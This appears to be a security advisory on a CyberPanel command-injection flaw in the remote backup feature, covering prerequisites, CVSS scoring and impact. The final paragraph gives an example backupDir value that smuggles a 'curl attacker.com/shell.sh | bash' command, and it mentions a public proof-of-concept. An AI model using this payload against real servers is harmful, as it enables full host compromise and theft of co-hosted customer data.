CyberPanel CVE-2026-71966

Exploitation requires a valid CyberPanel account with sufficient role permissions to configure and use the remote backup transfer feature (CVSS PR:L). The attacker must additionally be able to control the API response of a remote backup server - achieved either by registering an attacker-owned IP or hostname as the backup destination (possible if the attacker has permission to configure destinations), or by performing a man-in-the-middle attack on the CyberPanel-to-remote-server communication. The injection is triggered specifically when CyberPanel processes the backupDir value in a remote server's API response during backup transfer or restore operations; the feature must be actively invoked. Exploitation is limited by: (1) authenticated access requirement (no unauthenticated path exists), (2) need to influence or control the remote server's API response, and (3) the vulnerable code path is only reachable when the remote backup transfer feature is in active use. Environments that do not configure any remote backup destinations are not reachable via this vector.

The CVSS 4.0 base score of 8.7 with AV:N, AC:L, and PR:L accurately characterizes this as a serious but access-gated threat: exploitation requires valid CyberPanel credentials and the ability to point the backup feature at an attacker-controlled server. No EPSS data was provided, and CISA KEV status is not confirmed, meaning widespread automated exploitation has not been observed. However, the presence of a public proof-of-concept exploit significantly narrows the window for safe remediation - any authenticated user, including reseller-tier or end-user accounts depending on CyberPanel's role configuration, could potentially exploit this. The CVSS 4.0 vector lists SC:N/SI:N/SA:N (no subsequent-system impact), which understates practical risk: OS-level command injection on a hosting control panel effectively means full host compromise, with all co-hosted customer data, credentials, and services exposed. The attack complexity is genuinely low once the attacker controls a remote endpoint - no memory corruption, timing windows, or race conditions are required.

An attacker with a low-privilege CyberPanel account registers an attacker-controlled server as a remote backup destination, then triggers a remote backup transfer or restore operation. The attacker's server returns an API response where the backupDir field contains embedded shell metacharacters - for example, a value such as '1234; curl http://attacker.com/shell.sh | bash; #'. CyberPanel passes this value unsanitized into a shell command string, executing the injected payload as the CyberPanel process user. A public proof-of-concept confirming this attack path exists at themcsam.github.io.